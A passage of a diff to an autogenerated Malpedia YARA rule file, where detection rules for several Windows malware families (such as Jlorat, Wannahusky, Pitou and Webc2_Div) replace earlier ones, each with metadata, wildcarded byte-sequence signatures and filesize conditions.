488d154a270500 488bcf e8???????? ba01000000 488bcf e8???????? } + $sequence_3 = { 0fbe4550 83c0d3 83f846 0f8794feffff 4898 0fb68402e00e0300 8b8c82bc0e0300 } + $sequence_4 = { e8???????? 4c8bf0 4885c0 7512 48396f60 740c 4c8d35bbff0700 } + $sequence_5 = { 4c8b8d50070000 4c8d05aa0f0500 488d9598060000 e8???????? 8bf8 85c0 750a } + $sequence_6 = { 4489442440 488d4c2450 89542438 4c8d05d2240500 44895c2430 ba18000000 4489542428 } + $sequence_7 = { 4c8d05d21a0500 e8???????? 8bf8 85c0 } + $sequence_8 = { 8bf2 4c8d0d3d500200 488be9 4c8d052b500200 488d152c500200 b901000000 e8???????? } + $sequence_9 = { 48896c2420 4c8d2d28dc0600 448bcf 4d0f45e8 488d1522dc0600 4d8bc5 498bcc } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 1605632 } -rule MALPEDIA_Win_Nymaim2_Auto : FILE +rule MALPEDIA_Win_Jlorat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9d42ecfd-461f-543d-9a58-ba44ed0f874f" + id = "f0bef584-e973-53d7-a046-17a467ab2308" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nymaim2_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jlorat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jlorat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e64916e16c04fec69a155375e17360cf8ab01eed1bdb9780112b275d8e2ffaa7" + logic_hash = "6c508a88f484b849b2f103f8c11b47dfe4f6c1e48dc255ea3be8790051e1a3db" score = 75 quality = 75 tags = "FILE" @@ -136482,32 +136181,32 @@ rule MALPEDIA_Win_Nymaim2_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf9 be???????? 56 8d5f14 e8???????? 59 } - $sequence_1 = { 33c0 eb07 8b07 8b4004 03c7 83480c04 8b07 } - $sequence_2 = { ff5008 51 8d4604 8bcc 896508 50 e8???????? } - $sequence_3 = { 5b c1f805 d3e3 8d0486 0918 8b45e8 8b5df0 } - $sequence_4 = { ff4008 8b06 397808 75c2 ff400c ebbd 8b5620 } - $sequence_5 = { 885dfc e8???????? 8d4e24 e8???????? 83ec18 8bcc 8965ec } - $sequence_6 = { 8d45e4 53 50 ff15???????? 6a01 8d4de4 c645fc02 } - $sequence_7 = { 51 56 8bf1 8975f0 c706???????? 8d4e64 c745fc04000000 } - $sequence_8 = { 8b00 23c7 3b02 894514 7d58 8b5508 8d1482 } - $sequence_9 = { e8???????? 50 8d4d08 e8???????? 85c0 0f9dc3 8d4d9c } + $sequence_0 = { e8???????? e9???????? 89e0 8d4d0c 8908 e8???????? 899558ffffff } + $sequence_1 = { eb00 8b4de0 83c134 c745f0ffffffff 89e0 8908 e8???????? } + $sequence_2 = { f7e2 8985d0feffff 8995d4feffff b804000000 c1e002 8b4d0c ba04000000 } + $sequence_3 = { eb00 8b8d7cffffff 8b45b0 894de0 0518040000 898574ffffff c745cc01000000 } + $sequence_4 = { e8???????? 8995c8feffff 8985ccfeffff eb00 8b8dc4feffff 8b85c8feffff 8b95ccfeffff } + $sequence_5 = { eb5f eb00 b801000000 83f800 7514 8b442438 8b00 } + $sequence_6 = { e8???????? eb00 8b4da4 83c10c c745f001000000 89e0 8d55cc } + $sequence_7 = { eb2a 8b4e14 8b5618 89e0 895004 8908 e8???????? } + $sequence_8 = { f20f1186b8010000 f20f108698010000 f20f1186d8010000 f20f108688010000 f20f108e90010000 f20f118ed0010000 f20f1186c8010000 } + $sequence_9 = { f20f1145d0 c745f001000000 89e0 8d55d0 895004 8908 e8???????? } condition: - 7 of them and filesize < 753664 + 7 of them and filesize < 10952704 } -rule MALPEDIA_Win_Aperetif_Auto : FILE +rule MALPEDIA_Win_Wannahusky_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1685b19d-bab9-559e-a837-4099892bca74" + id = "36a1577e-36ff-5776-bdb4-d895a2d2a50b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aperetif_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wannahusky_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "8b99a188c4357f2054441c5cc8823b451c95e41e20e854ee376e3b8dd6441f0d" + logic_hash = "5ceb031e7aa4de1c7907749dee4ed5beefedb2e46a515067de310b2cbc83c4b9" score = 75 quality = 75 tags = "FILE" @@ -136521,32 +136220,32 @@ rule MALPEDIA_Win_Aperetif_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7708 50 e8???????? 83c40c ff7708 8b442418 50 } - $sequence_1 = { f20f1186080b0000 c7452400000000 e9???????? 85c9 0f84d8050000 697528100b0000 33ff } - $sequence_2 = { 8bef 8d041b 50 8b442414 8b401c ff30 ff742424 } - $sequence_3 = { e8???????? 8d48fe b82d000000 668901 eb0c 50 8d45ee } - $sequence_4 = { e8???????? 8bf0 83c410 85f6 7511 68db020000 68???????? } - $sequence_5 = { 8bc1 c1e810 0fb6c0 c1e208 0fb68068b98700 0bd0 8bc1 } - $sequence_6 = { 8b5604 83c604 85d2 0f8421010000 8d4a01 8bc2 f00fb10e } - $sequence_7 = { f20f5ec8 0f28d1 f20f59cb f20f59542448 660f2f0d???????? 7740 f20f1005???????? } - $sequence_8 = { ff7508 8910 8b55e8 897004 895008 e8???????? c74310507c5c00 } - $sequence_9 = { eb46 8b01 52 8d55d4 c745fc00000000 52 ff5014 } + $sequence_0 = { c605????????02 c705????????60b04100 c705????????18000000 c705????????04000000 } + $sequence_1 = { 7408 8bbdf0faffff 8b0f 89442404 } + $sequence_2 = { ba28020000 8d8d98fbffff e8???????? 8d8500fbffff c744240810000000 } + $sequence_3 = { 83c008 c744240401000000 890424 ff15???????? 89ca } + $sequence_4 = { c705????????04000000 c705????????a0464200 c705????????e01c4100 c705????????f0b34100 c705????????00000000 } + $sequence_5 = { c705????????04000000 66c705????????2b03 c705????????18000000 c705????????04000000 c605????????11 c705????????80bb4100 } + $sequence_6 = { c785fcfaffff00000000 8b480c e8???????? ba01000000 8d8dfcfaffff 8985fcfaffff e8???????? } + $sequence_7 = { e8???????? 8b45cc 3b45c0 7218 8b7dc0 890424 } + $sequence_8 = { 56 53 83ec6c 8955c0 807d0800 ba???????? } + $sequence_9 = { c705????????08b44100 c705????????00000000 c705????????04000000 c705????????04000000 66c705????????1903 c605????????01 } condition: - 7 of them and filesize < 10500096 + 7 of them and filesize < 862208 } -rule MALPEDIA_Win_Carrotball_Auto : FILE +rule MALPEDIA_Win_Dairy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "93abea8a-2155-53fb-92a0-ba3485bf7552" + id = "8a558663-9225-5d4f-bf21-2e09f40cb6bc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carrotball_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dairy_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "c456cd5c607eeb3fd6729b04660b73d440499731727e6676847cfbec1800428f" + logic_hash = "67b1fc4dc17bcf8b0cdf2ebf4577147bbf8e49b67379d73e95b1b4864059fa48" score = 75 quality = 75 tags = "FILE" @@ -136560,32 +136259,32 @@ rule MALPEDIA_Win_Carrotball_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7451 6a00 68???????? ff15???????? } - $sequence_1 = { 6a20 6a00 68???????? 83f878 751f 68???????? } - $sequence_2 = { 6a00 6802000080 6a20 6a00 } - $sequence_3 = { 85c0 7432 8d85ecfdffff 50 ff15???????? } - $sequence_4 = { 68???????? ff15???????? eb36 68???????? 56 } - $sequence_5 = { 8d85f4fdffff 50 c785ecfdffff00000000 ff15???????? } - $sequence_6 = { 85c0 0f84f5000000 57 6a00 6a00 } - $sequence_7 = { 85c0 7451 6a00 68???????? ff15???????? eb36 } - $sequence_8 = { 0f84f5000000 57 6a00 6a00 } - $sequence_9 = { 6a04 58 6bc000 c7807430001002000000 6a04 58 6bc000 } + $sequence_0 = { 56 8bf2 57 81e607000080 7905 4e } + $sequence_1 = { 8d542410 8d442414 52 68ff030000 50 } + $sequence_2 = { 8bd1 83c9ff 50 f2ae 8bca } + $sequence_3 = { 8b44241c 57 8b3e ba2037efc6 8b08 8b4004 897c2418 } + $sequence_4 = { aa e8???????? 83c40c 83f8ff 0f8514ffffff e9???????? 6a10 } + $sequence_5 = { 7f3b ba27000000 2bd1 bf???????? 83c9ff } + $sequence_6 = { f2ae f7d1 2bf9 8d5c241c 8bf7 8be9 8bfb } + $sequence_7 = { c70701000000 e8???????? 83c404 894704 b801000000 5f 5e } + $sequence_8 = { f3a4 75cc 8d7c243c 83c9ff } + $sequence_9 = { 52 68???????? 50 e8???????? 83c410 85c0 7542 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Evilbunny_Auto : FILE +rule MALPEDIA_Win_Webc2_Cson_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "09358091-8a71-53e9-955e-7e0615a7395b" + id = "a6b87b7d-9114-5579-a68c-0816423dfdd5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilbunny_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_cson_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "129d7389b0c5c744f879d0c6646586dd6514e45e4141df82d478776226b51b53" + logic_hash = "6b0f4d165f53805d0d2ba6ef3f6dd5489f1ced5c22f12be382e768df751280a7" score = 75 quality = 75 tags = "FILE" @@ -136599,32 +136298,32 @@ rule MALPEDIA_Win_Evilbunny_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb37 6a00 8b4df4 2b4d0c 51 8b55fc 8b4218 } - $sequence_1 = { 2b45e4 1b55e8 8945a0 8955a4 eb0e c745a000000000 c745a400000000 } - $sequence_2 = { 8b55f8 8b4218 8b550c 891401 8b450c 0fb64805 83e103 } - $sequence_3 = { 8b5518 c1e20e 0bc2 50 8b4508 50 e8???????? } - $sequence_4 = { 8d8c3a4b661aa8 894df8 8b95ccfeffff c1ea02 8b85ccfeffff c1e01e 0bd0 } - $sequence_5 = { 55 8bec 51 8b4508 8b4824 034d0c 894dfc } - $sequence_6 = { e8???????? 8b55f8 c782060c000001000000 33c0 52 8bcd 50 } - $sequence_7 = { e8???????? 8b858cfeffff 52 8bcd 50 8d1540f91000 e8???????? } - $sequence_8 = { e8???????? 83c408 8b4dfc 51 8b95e4fdffff 52 8d85e8fdffff } - $sequence_9 = { 8b5508 8b4238 89413c 8b4d08 8a5510 885136 b801000000 } + $sequence_0 = { 50 ff35???????? ff15???????? 33ff e9???????? } + $sequence_1 = { ff15???????? 395dfc 7463 8d8540fdffff 6800020000 50 } + $sequence_2 = { e8???????? 68???????? 56 e8???????? 8d85f0feffff } + $sequence_3 = { 3bc3 8945f8 7513 68???????? ff15???????? 59 33c0 } + $sequence_4 = { 57 68???????? 6a50 68???????? } + $sequence_5 = { 3bf3 8975f8 0f8480010000 53 68???????? b8???????? 6a03 } + $sequence_6 = { 83c420 6a01 58 eb02 33c0 5f 5e } + $sequence_7 = { 8d85ec6bfeff 50 e8???????? 59 68e8030000 } + $sequence_8 = { 7512 55 ffd6 57 ffd6 68???????? ff15???????? } + $sequence_9 = { 83c418 50 ff15???????? e9???????? 8d45c0 } condition: - 7 of them and filesize < 1695744 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Lumar_Auto : FILE +rule MALPEDIA_Win_Portstarter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "66198547-c312-5005-8756-3c4d434f3dfb" + id = "e44ac3aa-4f26-585d-bdee-c9904fdae8c9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lumar_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.portstarter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.portstarter_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "7775336cd5e4593c9fd91e39a7fb1823140e1a9590624def112d1a4339e9c62e" + logic_hash = "73b0c7ed74c72cbbc30b57a6a611882f5357bf630e7fd50ae5a5939e6bfc7459" score = 75 quality = 75 tags = "FILE" @@ -136638,32 +136337,34 @@ rule MALPEDIA_Win_Lumar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7418 8b4514 83c004 894514 8b4514 } - $sequence_1 = { 6a68 66898506ffffff 58 6a2f 6689850affffff 58 } - $sequence_2 = { 8bd9 03fe e8???????? 3bf8 7604 33c0 } - $sequence_3 = { e8???????? 8b7d08 8b5610 8bca 2b4e0c 0fb7df } - $sequence_4 = { 58 6bc005 ff5405b4 6a04 58 6bc007 } - $sequence_5 = { 668945b0 e8???????? 83c414 fe05???????? 8bce e8???????? 8bcb } - $sequence_6 = { 3bc2 753e 8b4510 85c0 74d3 } - $sequence_7 = { 0fb74df8 3bc1 7503 ff65e0 ebd9 } - $sequence_8 = { 0f2805???????? b900010000 53 56 57 } - $sequence_9 = { 8d842414010000 47 50 57 6a00 c7842420010000a8010000 } + $sequence_0 = { 4c8b9c24a8010000 4c89442448 7507 4d8b4c2408 } + $sequence_1 = { 4c8b8c24d8000000 4d8b5918 4d8b6318 4d8b6b08 4d8b1b 4d39e5 0f8645050000 } + $sequence_2 = { 4c8b9c24b8000000 498d3c03 488b842410010000 4c89d1 4c89c6 90 } + $sequence_3 = { 4c8b942468010000 4d21fa 4d09d5 49c1ed3f 4f8d1404 4d01ea } + $sequence_4 = { 4c8d6424f0 4d3b6610 0f8660030000 4881ec90000000 4889ac2488000000 488dac2488000000 } + $sequence_5 = { 4c8b9424d8000000 4c8ba42400010000 4c896310 4c895318 } + $sequence_6 = { 4c8b9424d8000000 4d39e2 0f8745010000 0f8734010000 } + $sequence_7 = { 4c8d6424d0 4d3b6610 0f8610020000 4881ecb0000000 } + $sequence_8 = { 41b800de1b00 488d15d02f0000 488d4c2420 e8???????? } + $sequence_9 = { 4863442430 486bc010 488d0de3061c00 4803c8 } + $sequence_10 = { 4883ec48 8b442458 89442424 48c744242800000000 41b800de1b00 } + $sequence_11 = { 488d0de3061c00 4803c8 488bc1 48634c2434 } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 14216192 } -rule MALPEDIA_Win_Boaxxe_Auto : FILE +rule MALPEDIA_Win_Mofksys_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5fdff2c4-9858-5230-8586-66650c6fe95c" + id = "e9191181-2227-59a8-bd61-7f1cd7036f61" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boaxxe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boaxxe_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mofksys" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mofksys_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "124ce2238ea4b514d8960c521e2c44f0db9f5af3376e938bf1e4f0bfa769f279" + logic_hash = "8771c5394499398335ed69edffdfbaf6278241ddeb464ebd5620f11ca11db156" score = 75 quality = 75 tags = "FILE" @@ -136677,32 +136378,32 @@ rule MALPEDIA_Win_Boaxxe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bc3 e8???????? 8d55d8 66b89a01 e8???????? ff75d8 68???????? } - $sequence_1 = { 8b542404 8bc7 e8???????? 8bce 03c9 8b442404 8d1458 } - $sequence_2 = { 85c0 7410 8bc3 8bd4 b905010000 e8???????? eb0d } - $sequence_3 = { 6a01 e8???????? 8bd8 bd80000008 85f6 740d 81ff00040000 } - $sequence_4 = { 64ff30 648920 8b55f0 a1???????? e8???????? 8b55f0 a1???????? } - $sequence_5 = { 8b4078 85c0 7420 8b54240c 8d0402 89442408 8bc6 } - $sequence_6 = { 8b5df8 03de 8a1b 8b7dfc 03f9 301f 46 } - $sequence_7 = { 7411 803c24ac 7507 807c240110 7404 33c0 5a } - $sequence_8 = { e8???????? 8d45d8 8b55ec e8???????? 8d45d8 8b4df4 8b55f8 } - $sequence_9 = { 83c9ff 32c0 f2ae f7d1 5f 92 f2ae } + $sequence_0 = { ff15???????? 50 ff15???????? 51 d91c24 ff15???????? 8bd0 } + $sequence_1 = { c1e003 eb0c ff15???????? 8b8dfcfeffff 8b590c 8b0c03 03d8 } + $sequence_2 = { c78558ffffff00000000 c745fcab000000 8b8d6cffffff 83c128 898d54ffffff c745fcac000000 ba???????? } + $sequence_3 = { ff15???????? 8bd0 8d4db0 ff15???????? 8d8d50fdffff ff15???????? c745fc07000000 } + $sequence_4 = { 8d4db4 ff15???????? e9???????? c745fc0a000000 833d????????00 } + $sequence_5 = { 83c410 6685f6 7413 668b0d???????? 51 ff15???????? e9???????? } + $sequence_6 = { 50 8b4dc8 51 6a01 ff15???????? 50 8b55a4 } + $sequence_7 = { c78540ffffff7ca44000 c78538ffffff08000000 ff15???????? 8b4dc0 68???????? 51 ffd7 } + $sequence_8 = { 50 8b5508 8b02 50 e8???????? ffd7 8b4da4 } + $sequence_9 = { 52 ff15???????? 8bd0 8d4dcc ff15???????? c745fc27000000 8b4dc8 } condition: - 7 of them and filesize < 1146880 + 7 of them and filesize < 401408 } -rule MALPEDIA_Win_Miniblindingcan_Auto : FILE +rule MALPEDIA_Win_Oderoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2e31c245-b31c-5b1f-badb-b374294b1a0c" + id = "8af6addc-ebdd-5e5f-9273-b365bc983ffd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miniblindingcan_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oderoor_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "f1bc6c8d1c138b9d3da736626c3c3e7c154dc57584230d14e9675b4385ae575b" + logic_hash = "705d5b4a266b0c2f312f72fd5cb1e86ab39ec049fd53173701ccf137ec51b933" score = 75 quality = 75 tags = "FILE" @@ -136716,34 +136417,34 @@ rule MALPEDIA_Win_Miniblindingcan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 81fbba470000 7513 488d0511350000 488905???????? e9???????? 81fb63450000 } - $sequence_1 = { 488bc6 488d1523dd0100 83e11f 48c1f805 486bc958 48030cc2 eb07 } - $sequence_2 = { 48893d???????? eb1b 488b0d???????? 488d15bf980100 ff15???????? 488905???????? 4183fc0a } - $sequence_3 = { 7478 488b03 83e20f 488907 488b4308 4803de 48894708 } - $sequence_4 = { 8bc0 41890c86 498b0c24 490fafc8 48c1e934 8bc9 418b048e } - $sequence_5 = { 8d4af3 ff15???????? 41be4c000000 498bcf 488bd0 458bc6 488be8 } - $sequence_6 = { 488b8a50000000 e9???????? 4055 4883ec40 488bea 488d4540 4889442430 } - $sequence_7 = { b835000000 0f05 c3 4c8bd1 b836000000 0f05 } - $sequence_8 = { 448bc7 488bce 488bd0 4c8be0 e8???????? 3bc5 7412 } - $sequence_9 = { 488b4c2458 c744244802000000 488d442454 4889442440 } + $sequence_0 = { 2deb1427d9 8c2413 b166 3b01 95 1e c194a0c0b855158d } + $sequence_1 = { f8 660fbdd9 6611e5 e8???????? 54 } + $sequence_2 = { e9???????? 6689442404 c1ce06 9c 9c 8d642440 e9???????? } + $sequence_3 = { 69d20a000000 e8???????? 38f4 c0f304 c1c31c 660fbafb02 89c3 } + $sequence_4 = { 686c193202 e8???????? 309c865a407526 b3df e04a 9b 68d69156e5 } + $sequence_5 = { 2b984e407fc0 c5adcaa19a9e 1882c1c921d4 06 ed } + $sequence_6 = { df570e 29dc 9b 7f65 197e7e a2???????? } + $sequence_7 = { 0fbae107 0428 55 895c240c f6d0 660fbae70f 9c } + $sequence_8 = { 8d642410 e9???????? 66891407 881424 9c 68f4110af5 } + $sequence_9 = { f1 6c aa 620b e3ed e28f 1a00 } condition: - 7 of them and filesize < 453632 + 7 of them and filesize < 13688832 } -rule MALPEDIA_Win_Deepdata_Auto : FILE +rule MALPEDIA_Win_Pitou_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8aad3a67-fb15-5e5f-9d9e-ff6fff6a45f8" + id = "f9c8da4e-505e-547b-8240-9df48ee9f72d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deepdata" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deepdata_auto.yar#L1-L338" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pitou_auto.yar#L1-L112" license_url = "N/A" - logic_hash = "a34d5234f4db9f94f6aa56b11d8ba8d09bbd4a4349792470c342c748e8726f18" + logic_hash = "c7a5a733d5fc2416ed190ff88c1bcfd8fd875daba5df81cd77a3f96c787c1800" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -136755,58 +136456,32 @@ rule MALPEDIA_Win_Deepdata_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 751d 68???????? ff15???????? 50 } - $sequence_1 = { 83d000 50 51 8bce e8???????? } - $sequence_2 = { b001 5d c3 8ac1 } - $sequence_3 = { 8bd0 8bce e8???????? 83c408 5f } - $sequence_4 = { 837d0800 7502 eb10 8b4508 a3???????? } - $sequence_5 = { 55 8bec 8b4508 32c9 85c0 } - $sequence_6 = { 740a 50 ff15???????? 83c404 8b8c245c010000 } - $sequence_7 = { 8bec 56 57 8bf9 8d7704 8bce c707???????? } - $sequence_8 = { e8???????? 81e3fbff0000 f20f1106 83cb08 } - $sequence_9 = { ff36 e8???????? 83c408 c707???????? f6450801 } - $sequence_10 = { 8bec 56 8bf1 c706???????? 8b4e18 83f910 7228 } - $sequence_11 = { 83c104 3bd3 7cf2 eb06 32c0 88442425 } - $sequence_12 = { e8???????? 83c40c c785c4fbffff2c020000 6a00 } - $sequence_13 = { 7760 8bc2 51 50 e8???????? 83c408 c7463000000000 } - $sequence_14 = { 64a300000000 8bf1 8b7d08 897dd0 c745d800000000 c745e800000000 c745ec0f000000 } - $sequence_15 = { c78560ffffff00000000 c78564ffffff00000000 c78568ffffff00000000 c7856cffffff00000000 c78550ffffff00000000 c7458800000000 } - $sequence_16 = { 837df401 7543 68???????? ff15???????? } - $sequence_17 = { 8b4dfc e8???????? 8b4dfc e8???????? 8b10 52 8b4dfc } - $sequence_18 = { 83c40c 83c118 6a08 50 } - $sequence_19 = { e8???????? 8b00 50 8b4dfc e8???????? 8bc8 } - $sequence_20 = { e8???????? 8b00 50 e8???????? 83c404 2bf0 } - $sequence_21 = { a1???????? 8b4858 ffd1 83c40c } - $sequence_22 = { 83c428 c645fc00 8d4d08 e8???????? c745fcffffffff 8d4d14 e8???????? } - $sequence_23 = { e8???????? 83c404 394508 7321 8b4dfc } - $sequence_24 = { 83c40c b001 5f 5b } - $sequence_25 = { 8bec 83ec08 894dfc 8b4dfc e8???????? 8b00 50 } - $sequence_26 = { 837df800 7549 837df401 7543 } - $sequence_27 = { 6a00 6a00 ff7514 ff75c8 ff75c0 ff75c4 } - $sequence_28 = { 8b4dfc e8???????? 8b16 3b10 750a 6a01 } - $sequence_29 = { 8945e4 8b4dec e8???????? 833800 } - $sequence_30 = { 50 8b4d10 8b11 ffd2 83c404 } - $sequence_31 = { 8b4dfc 8b5108 0fb602 50 8b4dfc e8???????? } - $sequence_32 = { 85d2 7526 8d4d90 e8???????? 0fb6c0 85c0 } - $sequence_33 = { 83c118 e8???????? 8945f8 837df804 7408 837df808 740c } - $sequence_34 = { 83c00c 6a00 50 e8???????? 84c0 } - $sequence_35 = { 8b4dfc 8b5008 3b5104 7505 83c8ff eb1e 8b45fc } + $sequence_0 = { 8bda c1e305 03c3 8bda } + $sequence_1 = { ac 8bda c1e305 03c3 8bda c1eb02 } + $sequence_2 = { 33c0 ac 8bda c1e305 03c3 } + $sequence_3 = { c1e305 03c3 8bda c1eb02 03c3 } + $sequence_4 = { 8a6201 80f457 8acc 80e103 } + $sequence_5 = { 8bda c1e305 03c3 8bda c1eb02 } + $sequence_6 = { 33c0 ac 8bda c1e305 } + $sequence_7 = { 8acc 80e103 8aec c0ed03 } + $sequence_8 = { 8a6201 80f457 8acc 80e103 8aec c0ed03 80e507 } + $sequence_9 = { 80e703 c0eb05 80e303 80ff00 } condition: - 7 of them and filesize < 33134592 + 7 of them and filesize < 1106944 } -rule MALPEDIA_Win_Shortleash_Auto : FILE +rule MALPEDIA_Win_Webc2_Div_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b69c5abe-5ff2-5cda-b15d-4ffaeea772b2" + id = "0487cd24-3efb-59f7-a789-643d02cfd1b0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shortleash" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shortleash_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_div_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "7625917da117618d50239e800ec3508d722326f3509a4fb7631eb7833bd5c208" + logic_hash = "fd0dce640f74e7a720d2663bbcad05a022471937161b3c94d0276bbf1eb69f1b" score = 75 quality = 75 tags = "FILE" @@ -136820,32 +136495,32 @@ rule MALPEDIA_Win_Shortleash_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff10 83c8ff f00fc1430c 83f801 750c 488b4c2450 488b01 } - $sequence_1 = { e9???????? 4055 4883ec20 488bea ba90000000 488b4d30 e8???????? } - $sequence_2 = { f30f7f4de8 4533f6 4c8975f8 418d4e10 e8???????? 488bd8 488d45d8 } - $sequence_3 = { e9???????? 488d15d5580200 488bcf e8???????? 85c0 7504 488d7706 } - $sequence_4 = { e8???????? 488bd0 488d4c2440 e8???????? 90 488b8eb0000000 e8???????? } - $sequence_5 = { eb09 4c394810 7453 488b00 493b00 75f2 4d8b00 } - $sequence_6 = { b910000000 e8???????? 488906 488d0d0e020000 488d1533090000 48895308 48890b } - $sequence_7 = { ff15???????? 488b542458 488bcb e8???????? 488b542450 488d4b08 e8???????? } - $sequence_8 = { e8???????? 8bf0 85c0 0f8548010000 488b4530 4c8d8348010000 482b8390000000 } - $sequence_9 = { ff15???????? 4839b3a8000000 7442 488bcb e8???????? 488b8ba8000000 e8???????? } + $sequence_0 = { 7474 56 6800000080 56 56 } + $sequence_1 = { 8078056e 7512 80780663 750c 80780765 7506 } + $sequence_2 = { 8d7d02 83c9ff c70001000000 8d5008 33c0 f2ae f7d1 } + $sequence_3 = { c3 55 e8???????? 59 33c0 ebf0 81ec10020000 } + $sequence_4 = { 7573 80780661 756d 80780766 } + $sequence_5 = { 7f09 0fbed0 83ea17 89148e 8d6901 bf16000000 8bc5 } + $sequence_6 = { 6a20 53 ffd6 59 85c0 } + $sequence_7 = { ff742410 eb14 817c2410808d5b00 771a 8b442414 } + $sequence_8 